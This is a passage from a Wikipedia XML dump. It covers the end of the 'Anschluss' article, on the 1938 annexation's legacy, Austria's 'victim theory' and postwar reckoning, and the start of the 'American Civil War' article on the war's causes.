&lt;blockquote&gt;I imagine that according to the temperament of the individual the events which are in our minds to-day will be the cause of regret, of sorrow, perhaps of indignation. They cannot be regarded by His Majesty's Government with indifference or equanimity. They are bound to have effects which cannot yet be measured. The immediate result must be to intensify the sense of uncertainty and insecurity in Europe. Unfortunately, while the policy of appeasement would lead to a relaxation of the economic pressure under which many countries are suffering to-day, what has just occurred must inevitably retard economic recovery and, indeed, increased care will be required to ensure that marked deterioration does not set in. This is not a moment for hasty decisions or for careless words. We must consider the new situation quickly, but with cool judgement... As regards our defence programmes, we have always made it clear that they were flexible and that they would have to be reviewed from time to time in the light of any development in the international situation. It would be idle to pretend that recent events do not constitute a change of the kind that we had in mind. Accordingly we have decided to make a fresh review, and in due course we shall announce what further steps we may think it necessary to take. {{ref|speech}}&lt;/blockquote&gt;

The lenient reaction to the Anschluss was the first major consequence of the strictly followed [[appeasement]] British foreign policy strategy. The international reaction on the events of [[March 12]]th 1938 led Hitler to conclude that he could use even more aggressive tactics in his ''roadmap'' to expand the [[Third Reich]], as he would later in annexing the [[Sudetenland]]. The relatively bloodless Anschluss helped pave the way for the [[Treaty of Munich]] in September 1938 and the annexation of [[Czechoslovakia]] in 1939, because it reinforced [[appeasement]] as the right way for Britain to deal with Hitler's [[Germany]].

==Legacy of the 1938 Anschluss==
===The Anschluss: annexation or union?===
Some historical sources, for instance [[Encyclopædia Britannica]] and the [[Encarta|Encarta Encyclopedia]] describe the Anschluss as an &quot;annexation&quot; {{ref|encarta_sidebar}}. Outside this context &quot;Anschluss&quot; is properly translated as &quot;join&quot;, &quot;connection&quot;, &quot;[[unification]]&quot; or &quot;political union&quot;. The German word &quot;Annektierung&quot; would mean military annexation unambiguously. However, the word commonly used in German for the process of spring 1938 is ''Anschluss''.

The precise character of the Anschluss remains a difficulty essential to Austria's understanding of its history and the obligations it entails.

===The appeal of Nazism to Austrians===
The Anschluss can be misunderstood as ''simply'' a military annexation of an unwilling Austria, but this lends itself to confusion with other German military occupations of European countries. It also tends to conceal the culpability of many Austrians in Nazi crimes, most of all the [[Holocaust]], by perpetuating the myth of Austria as the first victim of Hitler's expansionism. Despite the subversion of Austrian political process by Hitler's sympathisers and associates in Austria, Austrian acceptance of direct government by Hitler's Berlin is a very different phenomenon from the administration of other collaborationist countries.

With the break-up of the [[Austria-Hungary|Austro-Hungarian monarchy]] in 1918, popular opinion was for unification with Germany, in realization of the [[Grossdeutschland]] concept- this however was forbidden by the [[Treaty of St. Germain]], to which the newly formed Austrian republic was obliged. This was in stark contrast to the general concept of [[self-determination]] which governed the  [[Treaty of Versailles|Versailles talks]], as was the inclusion of the [[Sudetenland]], a German-populated area of the former Austro-Hungarian province of [[Bohemia]] (whose population favoured joining German-speaking Austria), in the newly formed [[Czechoslovakia|Czechoslovak]] republic, giving rise to [[revisionism|revisionist]] sentiment. This laid the grounds for the general willingness of the populations of both Austria and the Sudetenland for inclusion into the [[Third Reich]], as well as the relative acceptance of the Western Governments, who made little protest until March 1939, when the [[irredentism|irredentist]] argument lost its value following the annexation of the rest of Czech-speaking Bohemia, as well as Moravia and Czech Silesia.
[[Image:Grossdeutschland.jpg|thumb|right|Nazi propaganda poster]]

The small Republic of Austria was seen by many of its citizens as economically unviable, a feeling that was exacerbated by the [[Great Depression|Depression]] of the 1930s. In contrast the Nazi dictatorship appeared to have found a solution to the economic crisis of the 1930s. Furthermore, the break-up had thrown Austria into a crisis of identity, and many Austrians, of both the left and the right, felt that Austria should be part of a larger German nation. 

Politically, Austria had not had the time to develop a strongly democratic society to resist the onslaught of [[totalitarianism]]. The final version of the First Republic's constitution had only lasted from 1929 to 1933. The [[First Republic]] was ridden by violent strife between the different political camps; the [[Christian Social Party]] were complicit in the murder of large numbers of adherents of the decidedly left-wing [[Social Democratic Party of Austria|Social Democratic Party]] by the police during the [[July Revolt of 1927]]. In fact, with the end of democracy in 1933 and the establishment of [[Austrofascism]], Austria had already purged its democratic institutions and instituted a dictatorship long before the Anschluss. There is thus little to distinguish radically the ''institutions'' of at least the post-1934 Austrian government before or after [[12 March]] [[1938]].

The members of the leading [[Christian Social Party]] were fervent Catholics, but not particularly [[anti-semitism|anti-semitic]]. For instance [[Jew|Jews]] were not prohibited from exercising any profession, in sharp contrast to the [[Third Reich]]. Many prominent Austrian scientists, professors, and lawyers at the time were Jewish; in fact [[Vienna]], with its Jewish population of about 200,000, was considered a [[safe haven]] from 1933 to 1938 by many Jews who fled Nazi Germany. However, the Nazis' anti-Semitism found fertile soil in Austria. Anti-Semitic elements had emerged as a force in Austrian politics in the late nineteenth century, with the rise in prominence of figures such as [[Georg Ritter von Schönerer]] and [[Karl Lueger]] (who had influenced the young Hitler), and in the 1930s anti-Semitism was rampant, as Jews were a convenient scapegoat for economic problems.

In addition to the economic appeal of the Anschluss, the popular underpinning of Nazi politics as a total art form (the refinement of film propaganda exemplified by [[Leni Riefenstahl|Riefenstahl's]] ''[[Triumph of the Will]]'' and mythological [[aestheticism]] of a broadly conceived national destiny of the [[German people]] within a &quot;Thousand-Year Reich&quot;) gave the Nazis a massive advantage in advancing their claims to power. Moreover [[Austrofascism]] was less grand in its appeal than the choice between [[Stalin]] and [[Hitler]] to which many European intellectuals of the time believed themselves reduced by the end of the decade. Austria had effectively no alternative view of its historical mission when the choice was upon it. In spite of Dollfuss' and Schuschnigg's hostility to Nazi political ambitions, the Nazis succeeded in convincing many Austrians to accept what they viewed as the historical destiny of the German people rather than continue as part of a distinct sovereign nation.

===The Second Republic===
====The Moscow Declaration====
[[Image:Seyss-inquartmugshot.JPG|thumb|right|250px|[[Arthur Seyss-Inquart]] [[1945]] mugshot for the [[Nuremberg Trials]].]]

The [[Moscow Declaration]] of 1943, signed by the [[United States of America]], the [[Union of Soviet Socialist Republics]], and the [[United Kingdom]] included a &quot;Declaration on Austria,&quot; which stated the following:

&lt;blockquote&gt;
&lt;p&gt;The governments of the United Kingdom, the Soviet Union and the United States of America are agreed that Austria, the first free country to fall a victim to Hitlerite aggression, shall be liberated from German domination.&lt;/p&gt;

&lt;p&gt;They regard the annexation imposed on Austria by Germany on [[15 March]] [[1938]], as null and void. They consider themselves as in no way bound by any charges affected in Austria since that date. They declare that they wish to see re-established a free and independent Austria and thereby to open the way for the Austrian people themselves, as well as those neighbouring States which will be face with similar problems, to find that political and economic security which is the only basis for lasting peace.&lt;/p&gt;

&lt;p&gt;Austria is reminded, however that she has a responsibility, which she cannot evade, for participation in the war at the side of Hitlerite Germany, and that in the final settlement account will inevitably be taken of her own contribution to her liberation. {{ref|moskauermemo}}&lt;/p&gt;
&lt;/blockquote&gt;

To judge from the last paragraph and subsequent determinations at the [[Nuremberg Trial]], the Declaration was intended to serve as [[propaganda]] aimed at stirring Austrian resistance (although there are Austrians counted as [[Righteous Among the Nations]], there never was an effective Austrian armed resistance of the sort found in other countries under German occupation) more than anything else, although the exact text of the declaration is said to have a somewhat complex drafting history.{{ref|nybooks}} At Nuremberg [[Arthur Seyss-Inquart]] {{ref|seyss-inquart}} and [[Franz von Papen]] {{ref|vonpapen}}, in particular, were both indicted under count one (conspiracy to commit crimes against peace) specifically for their activities in support of the Austrian Nazi Party and the Anschluss, but neither was convicted of this count. In acquitting von Papen, the court noted that his actions were in its view political immoralities but not crimes under its charter. Seyss-Inquart was convicted of other serious war crimes, most of which took place in [[Poland]] and the [[Netherlands]], and was sentenced to death.

====Austrian identity and the &quot;victim theory&quot;====
[[Image:1heldeplatz.jpg|thumb|right|250px|Heldenplatz, &quot;Day of the Austrian legion,&quot; [[2 April]] [[1938]].]]

After [[World War II]], many Austrians sought comfort in the myth of Austria as the Nazis' first victim. Although the Nazi party was promptly banned, Austria did not have the same thorough process of de-Nazification at the top of government which was imposed on Germany for a time. Lacking outside pressure for political reform, factions of Austrian society tried for a long time to advance the view that the Anschluss was ''only'' an annexation at bayonet point.

This view of the events of 1938 has deep roots in the ten years of Allied occupation and the struggle to regain Austrian sovereignty: The ''victim theory'' played an essential role in the negotiations on the [[Austrian State Treaty]] with the Soviets, and by pointing to the Moscow Declaration Austrian politicians heavily relied on it to achieve a solution for Austria different from the division into East and West in Germany. The State Treaty, alongside with the subsequent Austrian declaration of permanent [[Neutral country|neutrality]] marked important milestones for the solidification of Austria's independent [[nation]]al identity during the following decades.

As Austrian politicians of the left and right attempted to reconcile their differences in order to avoid the violent conflict that had dominated the first republic, discussions of both Austrofascism and Austria's role in Nazism were largely avoided. Still, the [[Austrian People's Party]] (ÖVP) has advanced and still sometimes advances the argument that the establishment of the Dollfuss dictatorship was necessary in order to maintain Austrian independence, while the [[Austrian Social Democratic Party]] (SPÖ) argues that the dictatorship stripped the country of the democratic resources necessary to repel Hitler.

====Political events====
For decades, the victim theory established in the Austrian mind remained largely undisputed. The Austrian public was only rarely forced to confront the legacy of the Third Reich (most notably during the events of 1965 concerning [[Taras Borodajkewycz]], a professor of economic history notorious for anti-Semitic remarks, when [[Ernst Kirchweger]], a concentration camp survivor, was killed by a right-wing protester during riots). It was not until the 1980s that Austrians were finally massively confronted with their past. The main catalyst for the start of a ''[[Vergangenheitsbewältigung]]'' was the so-called [[Kurt Waldheim|Waldheim affair]]. The Austrian reply to allegations during the 1986 Presidential election campaign that successful candidate and former [[United Nations Secretary-General|UN Secretary-General]] [[Kurt Waldheim]] had been a member of the Nazi party and of the infamous [[Sturmabteilung|SA]] (he was later absolved of direct involvement in [[war crimes]]) was that scrutiny was an unwelcome intervention in the country's [[internal affairs]]. Despite the politicians' reactions to international criticism of Waldheim, the Waldheim affair started the first serious major discussion on Austria's past and the Anschluss.

Another main factor for Austria and its coming to terms with the past emerged in the 1980s: [[Jörg Haider]] and the rise of the [[FPÖ]]. The party had combined elements of the [[pan-German]] right with free-market liberalism since its foundation in 1955, but after Haider had ascended to the party chairmanship in 1986, the liberal elements became increasingly marginalized while Haider began to openly use nationalist and anti-immigrant rhetoric. He was often criticised for tactics such as the ''völkisch'' (ethnic) definition of national interest (&quot;Austria for Austrians&quot;) and his apologism for Austria's past, notably calling members of the [[Waffen-SS]] &quot;men of honour&quot;. Following an enormous electoral rise in the 1990s peaking in the [[Austria legislative election, 1999|1999 elections]], the FPÖ, now purged of its liberal elements, entered a coalition with the [[ÖVP]] led by [[Wolfgang Schüssel]] that met international condemnation in 2000. This coalition triggered the regular ''Donnerstagsdemonstrationen'' (Thursday demonstrations) in protest against the government, which took place on the [[Heldenplatz]], where Hitler had greeted the masses during the Anschluss. Haider's tactics and rhetoric, which were often criticised as sympathetic to Nazism, again forced Austrians to reconsider their relationship to the past.

But it is not [[Jörg Haider]] alone who has made questionable remarks on Austria's past: [[Jörg Haider]]'s coalition partner the current Chancellor [[Wolfgang Schüssel]] in an interview with the [[Jerusalem Post]] as late as 2000 stated that Austria was the first victim of Hitler-Germany.{{ref|jerusalem}}

====Literature====
Tearing into the simplism of the ''victim theory'' and the time of the [[Austrofascism]], [[Thomas Bernhard|Thomas Bernhard's]] last play, ''Heldenplatz'', was highly controversial even before it appeared on stage in 1988, fifty years after Hitler's visit. Bernhard's achievement was to make the elimination of references to Hitler's reception in Vienna emblematic of Austrian attempts to claim their history and culture under questionable criteria. Many politicians from all political factions called Bernhard a ''Nestbeschmutzer'' (so. damaging the reputation of his country) and openly demanded that the play should not be staged in Vienna's [[Burgtheater]]. [[Kurt Waldheim]], who was at that time still Austrian president called the play ''a crude insult to the Austrian people''.{{ref|bernhard}}

===The Historical Commission and outstanding legal issues===
In the context of the postwar [[Federal Republic of Germany]], one encounters a ''[[Vergangenheitsbewältigung]]'' (&quot;struggle to come to terms with the past&quot;) that has been partially institutionalised, variably in literary, cultural, political, and educational contexts (its development and difficulties have not been trivial; see, for example, the [[Historikerstreit]]). Austria formed a ''Historikerkommission''{{ref|historikerkommission}} (&quot;Historian's Commission&quot; or &quot;Historical Commission&quot;) in 1998 with a mandate to review Austria's role in the Nazi expropriation of Jewish property from a scholarly rather than legal perspective, partly in response to continuing criticism of its handling of property claims. Its membership was based on recommendations from various quarters, including [[Simon Wiesenthal]] and [[Yad Vashem]]. The Commission delivered its report in 2003. {{ref|report}} Noted Holocaust historian [[Raul Hilberg]] refused to participate in the Commission and in an interview stated his strenuous objections in terms both personal and in reference to larger questions about Austrian culpability and liability, comparing what he to be relative inattention to the settlement governing the [[Switzerland|Swiss]] bank holdings of those who died or were displaced by the Holocaust:

&lt;blockquote&gt;
I personally would like to know why the WJC &amp;#91;[[World Jewish Congress]]&amp;#93; has hardly put any pressure on Austria, even as leading Nazis and SS leaders were Austrians, Hitler included... Immediately after the war, the US wanted to make the Russians withdraw from Austria, and the Russians wanted to keep Austria neutral, therefore there was a common interest to grant Austria victim status. And later Austria could cry poor - though its per capita income is as high as Germany's. And, most importantly, the Austrian PR machinery works better. Austria has the opera ball, the imperial castle, Mozartkugeln [a chocolate]. Americans like that. And Austrians invest and export relatively little to the US, therefore they are less vulnerable to blackmail. In the meantime, they set up a commission in Austria to clarify what happened to Jewish property. Victor Klima, the former chancellor, has asked me to join. My father fought for Austria in the First World War and in 1939 he was kicked out of Austria. After the war they offered him ten dollars per month as compensation. For this reason I told Klima, no thank you, this makes me sick. {{ref|Hilberg}}
&lt;/blockquote&gt;

The [[Simon Wiesenthal Center]] continues to criticise Austria (as recently as June 2005) for its alleged historical and ongoing unwillingness aggressively to pursue investigations and trials against Nazis for war crimes and crimes against humanity from the seventies onwards. Its 2001 report offered the following characterization:
&lt;blockquote&gt;
Given the extensive participation of numerous Austrians, including at the highest levels, in the implementation of the Final Solution and other Nazi crimes, Austria should have been a leader in the prosecution of Holocaust perpetrators over the course of the past four decades, as has been the case in Germany. Unfortunately relatively little has been achieved by the Austrian authorities in this regard and in fact, with the exception of the case of Dr. Heinrich Gross which was suspended this year under highly suspicious circumstances (he claimed to be medically unfit, but outside the court proved to be healthy) not a single Nazi war crimes prosecution has been conducted in Austria since the mid-seventies.{{ref|Simon}}
&lt;/blockquote&gt;

In 2003 the Center launched a worldwide effort named &quot;Operation: Last Chance&quot; in order to collect further information about those Nazis still alive that are potentially subject to prosecution. Although reports issued shortly thereafter credited Austria for initiating large-scale investigations, there has been one case where criticism of Austrian authorities arose recently: The Center has put 92-year old [[Croatia]]n [[Milivoj Asner]] on its 2005 top ten list. Asner fled to Austria in 2004 after Croatia announced it would start investigations in the case of war crimes he may have been involved in. In response to objections about Asner's continued freedom, Austria's federal government has deferred to either extradition requests from Croatia or prosecutorial actions from [[Klagenfurt]], neither of which appears forthcoming (as of June 2005). {{ref|asner}} Extradition is not an option since Asner also holds Austrian [[citizenship]], having lived in the country from 1946 to 1991. {{ref|asner_citizen}}

&lt;!--to be completed--&gt;

==Austrian political and military leaders in Nazi Germany==
*[[Arthur Seyss-Inquart]] 
*[[Ernst Kaltenbrunner]]
*[[Odilo Globocnik]]
*[[Amon Göth]]
*[[Lothar Rendulic]]
*[[Alfred Ritter von Hubicki]]
*[[Alexander Löhr]]
*[[Franz Böhme]]

==See also==
*''[[The Sound of Music]]'' (an account of the Anschluss, dramatized but based on actual events)
*''[[The Great Dictator]]'' (a fictitious account of the invasion of &quot;Osterlich&quot; by &quot;Tomania&quot;, modeled on the Anschluss)
*[[Third Reich]]
*[[Kurt Schuschnigg]]
*[[History of Austria]]

==Notes==
&lt;!-- Instructions for adding a footnote:
  NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnote3]] for details.
   1) Assign your footnote a unique name, for example TheSun_[[9 December]].
   2) Add the macro {{ref|TheSun_[[9 December]]}} to the body of the article, where you want the new footnote.
   3) Take note of the name of the footnote that immediately proceeds yours in the article body.
   4) Add #{{Note|TheSun_[[9 December]]}} to the list, immediately below the footnote you noted in step3.
   5) Multiple footnotes to the same reference will not work: you must insert two uniquely-named footnotes.
  NOTE: It is important to add the Footnote in the right order in the list.
--&gt;
#{{Note|spelling}} Until the [[German spelling reform of 1996]], ''Anschluss'' was written ''Anschluß'' in German. (See also the article on [[ß]].) In English-language typography and style conventions, &quot;ß&quot; was often transliterated as &quot;ss,&quot; making the spelling currently accepted in German a valid, if not predominant, option before 1996.
#{{Note|encarta_sidebar}} [http://encarta.msn.com/sidebar_761593988/The_Anschluss.html The Anschluss], MSN Encarta. (accessed [[8 July]] [[2005]]),[http://www.britannica.com/ebc/article?tocId=9355453&amp;query=plebiscite&amp;ct= Anschluss], Britannica, (accessed [[8 July]] [[2005]]), some historical sources refer to the Anschluss as an annexation.
#{{Note|encarta}} [http://encarta.msn.com/sidebar_461500064/1938_Austria.html 1938: Austria], MSN Encarta. (accessed [[10 June]] [[2005]]).
#{{Note|wienerzeitung}} &quot;[http://www.wienerzeitung.at/linkmap/personen/miklaspopup.htm Österreichs Weg zum Anschluss im März 1938],&quot; ''Wiener Zeitung'', [[25 May]] [[1998]] (detailed article the on the events of the Anschluss, in German).
#{{note|wienerzeitung_a}} Ibid.
#{{Note|hitlerspeech}} [http://www.spartacus.schoolnet.co.uk/2WWanschluss.htm Anschluss], Spartacus Schoolnet (reactions on the Anschluss).
#{{Note|doew}} &quot;[http://www.doew.at/thema/thema_alt/wuv/maerz38_2/propaganda.html Die propagandistische Vorbereitung der Volksabstimmung],&quot; Austrian Resistance Archive, Vienna, 1988 (accessed [[10 June]] [[2005]]).
#{{note|doew_a}} Ibid.
#{{note|wienerzeitung_b}} See note 2 above.
#{{note|wienerzeitung_c}} See note 2 above.
#{{Note|speech}} Neville Chamberlain, &quot;[http://web.jjay.cuny.edu/~jobrien/reference/ob92.html Statement of the Prime Minister in the House of Commons, [[14 March]] [[1938]]].&quot;
#{{Note|moskauermemo}} [http://www.ibiblio.org/pha/policy/1943/431000a.html Moscow Conference: Joint Four-Nation Declaration], October 1943 (full text of the Moscow Memorandum).
#{{Note|nybooks}} Gerald Stourzh, &quot;[http://www.nybooks.com/articles/4859 Waldheim's Austria],&quot; ''The New York Review of Books'' 34, no. 3 (February 1987).
#{{Note|seyss-inquart}} &quot;[http://www.nizkor.org/hweb/imt/tgmwc/judgment/j-defendants-seyss-inquart.html Judgment, The Defendants: Seyss-Inquart],&quot; The Nizkor Project.
#{{Note|vonpapen}} &quot;[http://www.nizkor.org/hweb/imt/tgmwc/judgment/j-defendants-von-papen.html The Defendants: Von Papen],&quot; The Nizkor Project.
#{{Note|jerusalem}} [http://www.salzburg.com/cgi-bin/sn/printArticle.pl?xm=165129 Short note on Schüssel's interview in the Jerusalem Post (in German)], ''Salzburger Nachrichten'', [[11 November]] [[2000]].
#{{Note|bernhard}} [http://www.kirjasto.sci.fi/bernhard.htm Thomas Bernhard], Books and Writers (article on Bernhard with a short section on Heldenplatz).
#{{Note|historikerkommission}} [http://www.historikerkommission.gv.at/ Austrian Historical Commission].
#{{Note|report}} [http://www.austria.org/press/318.html Press statement on the report of the Austrian Historical Commission] Austrian Press and Information Service, [[28 February]] [[2003]]
#{{Note|Hilberg}} [http://www.normanfinkelstein.com/article.php?pg=3&amp;ar=5 Hilberg interview with the ''Berliner Zeitung,''] as quoted by [[Norman Finkelstein]]'s web site.
#{{Note|Simon}} Efraim Zuroff, &quot;[http://www.dickinson.edu/magazine/fall02/wiesenthal.html Worldwide Investigation and Prosecution of Nazi War Criminals, 2001–2002],&quot; Simon Wiesenthal Center, Jerusalem (April 2002).
#{{Note|asner}} &quot;[http://www.worldjewishcongress.org/nfo/article.cfm?id=2283 Take action against Nazi war criminal Milivoj Asner],&quot; World Jewish Congress, [[19 November]] [[2004]].
#{{Note|asner_citizen}} [http://derstandard.at/?id=2183360 Mutmaßlicher Kriegsverbrecher Asner wird nicht an Zagreb ausgeliefert], [[Der Standard]], [[September 23]], [[2005]]
&lt;!--READ ME!! PLEASE DO NOT JUST ADD NEW NOTES AT THE BOTTOM. See the instructions above on ordering. --&gt;

==References==
===Books===
* Bukey, Evan Burr (1986). ''Hitler's Hometown: Linz, Austria, 1908-1945.'' Indiana University Press ISBN 0-253-32833-0.
* Parkinson, F. (ed.) (1989). ''Conquering the Past: Austrian Nazism Yesterday and Today.'' Wayne State University Press. ISBN 0814320546.
* Pauley, Bruce F. (1981). ''Hitler and the Forgotten Nazis: A History of Austrian National Socialism'' University of North Carolina Press. ISBN 0807814563 .
* Scheuch, Manfred (2005). ''Der Weg zum Heldenplatz: eine Geschichte der österreichischen Diktatur. 1933-1938.'' ISBN 3825877124.
* Schuschnigg, Kurt (1971). ''The brutal takeover: The Austrian ex-Chancellor's account of the Anschluss of Austria by Hitler''. Weidenfeld and Nicolson. ISBN 0297003216.
* Stuckel, Eva-Maria (2001). ''Österreich, Monarchie, Operette, und Anschluss: Antisemtismus, Faschismus, und Nationalsozialismus im Fadenkreuz von Ingeborg Bachman und Elias Canetti.''

===Electronic articles and journals===
* [http://www.wienerzeitung.at/linkmap/personen/miklaspopup.htm Österreichs Weg zum Anschluss im März 1938],&quot; ''Wiener Zeitung'', [[25 May]] [[1998]] (detailed article the on the events of the Anschluss, in German).
* [http://www.doew.at/thema/thema_alt/wuv/maerz38_2/propaganda.html Die propagandistische Vorbereitung der Volksabstimmung],&quot; Austrian Resistance Archive, Vienna, 1988 (accessed [[10 June]] [[2005]]).
* [http://encarta.msn.com/sidebar_461500064/1938_Austria.html 1938: Austria], MSN Encarta. (accessed [[10 June]] [[2005]]).
* [http://www.uwm.edu/People/abuchner/crisisyear.htm The Crisis Year of 1934] Buchner, A. From the Destruction of the Socialist Lager to National Socialist Coup Attempt (accessed [[10 June]] [[2005]]).

==External links==
*[http://www.historikerkommission.gv.at/ Austrian Historical Commission]
*[http://www.bbc.co.uk/history/war/genocide/austria_nazism_01.shtml BBC article by Robert Knight, who served on the Historikercommission]
*[http://www.nybooks.com/articles/4859 exchange in the ''New York Review of Books'' between Gerald Stourzh and Gordon Craig over the latter's review, &quot;Waldheim's Austria&quot;]
*[http://www.ibiblio.org/pha/policy/1943/431000a.html full text of the Moscow Declaration]
*[http://www.wiesenthal.com/ Simon Wiesenthal Center]
*[http://www.aeiou.at/aeiou.film.data.film/f107a.mpg Mpg-video Declaration by Adolf Hitler on the Heldeplatz 2.0MB]
*[http://xroads.virginia.edu/~MA04/wood/mot/html/austria.htm Time magazine coverage of the events of the Anschluss]

[[Category:German loanwords]]
[[Category:History of Austria]]
[[Category:History of Germany]]
[[Category:Nazi Germany]]
[[Category:Vergangenheitsbewältigung]]

[[bg:Аншлус]]
[[da:Anschluss]]
[[de:Anschluss (Österreich)]]
[[es:Anschluss]]
[[fi:Anschluss]]
[[fr:Anschluss]]
[[he:אנשלוס]]
[[ia:Anschluss]]
[[it:Anschluss]]
[[ja:アンシュルス]]
[[nl:Anschluss]]
[[pl:Anschluss Austrii]]
[[ru:Аншлюс]]
[[sl:Anschluss]]
[[sv:Anschluss]]
[[tr:Avusturyanın ilhakı]]
[[uk:Аншлюс]]</text>
    </revision>
  </page>
  <page>
    <title>American Civil War</title>
    <id>863</id>
    <revision>
      <id>42107265</id>
      <timestamp>2006-03-03T21:48:11Z</timestamp>
      <contributor>
        <ip>68.77.6.128</ip>
      </contributor>
      <comment>/* Economics */</comment>
      <text xml:space="preserve">{{Infobox Military Conflict|
image=[[Image:American Civil War Montage.jpg|300px]]|
caption=(clockwise from upper right) Confederate prisoners at [[Battle of Gettysburg|Gettysburg]]; [[Battle of Fort Hindman]], Arkansas; [[William Rosecrans|Rosecrans]] at [[Battle of Stones River|Stones River]], Tennessee|
conflict=American Civil War|
partof=|
date=[[1861]]-[[1865]]|
place=Principally in the [[Southern United States]]|
Southwestern regions]]|
result=Union victory; Southern states [[Reconstruction|reconstructed]]; slavery abolished|
combatant1=[[United States|United States&lt;br&gt;of America]]&lt;br&gt;[[Image:Us flag large 35 stars.png|100px|]]|
combatant2=[[Confederate States of America|Confederate States&lt;br&gt;of America]]&lt;br&gt;[[Image:3rdnational.png|73px|]]|
commander1=[[Abraham Lincoln]]&lt;br&gt;[[Ulysses S. Grant]]|
commander2=[[Jefferson Davis]]&lt;br&gt;[[Robert E. Lee]]|
strength1=1,556,678 |
strength2=1,064,200|
casualties1='''[[Killed in action|KIA]]:''' 110,100&lt;br&gt;'''Total dead:''' 359,500&lt;br&gt;'''Wounded:''' 275,200|
casualties2='''KIA:''' 74,500&lt;br&gt;'''Total dead:''' 198,500&lt;br&gt;'''Wounded:''' 137,000+&amp;nbsp;|
}}

The '''American Civil War''' (1861&amp;ndash;1865) was a [[civil war]] between the [[United States |United States of America]], called the [[Union (American Civil War)|Union]], and the [[Confederate States of America]], formed by eleven [[Southern United States|Southern states]] that had [[secession|seceded]]&lt;small&gt;&lt;small&gt;[[Confederate States of America#International Diplomacy and Legal Status|[1]]]&lt;/small&gt;&lt;/small&gt; from the Union. The Union won a decisive victory, followed by a period of [[Reconstruction]]. The war produced more than 970,000 casualties (3 percent of population), including approximately 560,000 deaths. The [[Origins of the American Civil War|causes of the war]], the reasons for the outcome, and even [[Naming the American Civil War|the name of the war itself]], are subjects of much controversy, even today. 



==Historiography: Multiple explanations of why War began ==
:''Main articles: [[Origins of the American Civil War]], [[Timeline of events leading to the American Civil War|Timeline of events]]''

The '''origin of the American Civil War''' lay in the complex issues of [[slavery]], [[Second Party System|politics]], disagreements over the scope of [[States' rights]] versus federal power, [[expansionism]], [[sectionalism]], economics, modernization, and competing nationalism of the [[Antebellum]] period.  Although there is little disagreement among historians on the details of the events that led to war, there is disagreement on exactly what caused what and the relative importance.  There is no consensus on whether the war could have been avoided, or if it should have been avoided.

===Failure to compromise===
In 1854 the old political system broke down after passage of the [[Kansas-Nebraska Act]]. The Whig Party disappeared, and the new [[United States Republican Party|Republican Party]] arose in its place. It was the nation's first major political party with only sectional appeal; though it had much of the old Whig economic platform, its popularity rested on its commitment to stop the expansion of slavery into new territories. Open warfare in the Kansas Territory, the [[panic of 1857]], and John Brown's raid on Harper's Ferry further heightened sectional tensions and helped Republicans sweep elections in 1860. In 1860, [[U.S. presidential election, 1860|the election of Abraham Lincoln]], who met staunch opposition from Southern slave-owning interests, triggered Southern secession from the union. The new president decided to resort to arms, if necessary, to preserve the nation's territorial integrity.

Historians in the 1930s such as [[James G. Randall]] argued that the rise of mass democracy, the breakdown of the [[Second Party System|old two-party system]], and increasingly virulent and hostile sectional rhetoric made it highly unlikely, if not impossible, to bring about the compromises of the past (such as the [[Missouri Compromise]] and the [[Compromise of 1850]]) necessary to avoid crisis. Although numerous compromises were proposed, none were successful in reuniting the country.  One possible &quot;compromise&quot; was peaceful secession agreed to by the United States, which was seriously discussed in late 1860&amp;mdash;and supported by many abolitionists&amp;mdash;but was rejected by both Buchanan's conservative Democrats and the Republican leadership.

===Southern nationalism: Psychological nationhood===
Most historians agree, following [[Ulrich B. Phillips]], [[Avery Craven]], and [[Eugene Genovese]] that the South had grown apart from the North psychologically and in terms of its value systems.  One by one the common elements that bound the nation together were broken. For example the major Protestant denominations split along North-South lines. Fewer travelers or students or businessmen went from one region to the other. The last common elements were the Constitution (which was in dispute after the [[Dred Scott]] ruling of 1857); the political parties (which split along regional lines in 1860), and Congress, which was in constant turmoil after 1856.

===Slavery as a cause of the War===
Focus on the slavery issue has been cyclical. It was considered the main cause in the 1860&amp;ndash;1890 era. From 1900 to 1960, historians considered anti-slavery agitation to be less important than constitutional, economic, and cultural issues. Since the 1960s historians have returned to an emphasis on slavery as a major cause of the war. Specifically, they note that the South insisted on protecting it and the North insisted on weakening it. A small but militant abolitionist movement existed in the North--a matter of a few thousand advocates. Their insistence that slavery was a sin and slave owners were deeply guilty angered the South.  Historians have looked at many slave owners and decided that they felt neither guilt nor shame, but were angry at what they considered unchristian hate speech from abolitionists. By the 1830s there was a widespread ideological defense of the &quot;peculiar institution&quot; everywhere in the South. 

As [[United States territorial acquisitions|territorial expansion]] forced the nation to confront the question of whether new territories were to become &quot;slave&quot; or &quot;free,&quot; and as multiplying free states became a majority in the Union, the [[Slave Power]] in national politics waned. 

===Economics===
The North and South did have different economies but they were complementary and not in competition. The South made money by exporting cotton (and other unique crops like tobacco). The North made money by exporting food and manufactured items. Many northern business interests were closely tied to the Southern economy and pleaded for union and compromise.  Some Southerners thought they paid too much in tariffs--but they themselves had written and voted for the tariff laws in effect.

The cotton-growing export business  or &quot;[[King Cotton]],&quot; as it was touted, was so important to the world economy, southerners argued, that they could stand alone. Indeed, being tied to the North was a hindrance and an economic burden. The South would do better by trading directly with Europe and avoiding extortionate Yankee middlemen.

===Ideologies===
In the view of many northern Republicans, the [[Slave Power]] ruled the South, not democracy. This &quot;Slave Power&quot; was a small group of very wealthy slave owners, especially cotton planters, who dominated the politics and society of the South. However, historians more recently have emphasized that the South was much more democratic than the Republicans of North believed.
Both North and South believed strongly to republican values of democracy and civic virtue.  But their conceptualizations were diverging. Each side though the other was aggressive, and was violating both the Constitution and the core values of American republicanism.  Nationalism was the dominant force in Europe in the 19th century and likewise in America. The South was much more explicit in defining nationalism as a regional characteristic. The North paid less attention to nationalism before 1860, but then focused its mind on it and stressed the whole country, North and South, was the unit of nationalism. 

This economic differentiation had social and political consequences beyond the issue of slavery itself; for instance, Pennsylvania politicians pushed for a protective tariff to help the iron industry, while the cotton-exporting South wanted to keep the existing policy of nearly free trade. 

At a deeper level industrialization in the Northeast and farming in the Midwest depended on free labor, which could not exist alongside slave labor, as Lincoln kept emphasizing. The nation had to be all free or all slave, said Lincoln. 
(Historians [[Charles Beard|Charles and Mary Beard]] went so far as to argue in 1928 that this sectional conflict was a &quot;Second American Revolution&quot;&amp;mdash;a revolutionary watershed in the rise of modern industrial society in the United States.) 

===States Rights===
The States' rights debate cut across the issues. Southern politicians argued that the federal government had no power to prevent slaves from being carried into new territories, but they also demanded federal jurisdiction over slaves who escaped into the North; Northern politicians took reversed, though equally contradictory, stances on these issues.


===Slavery in the Territories===
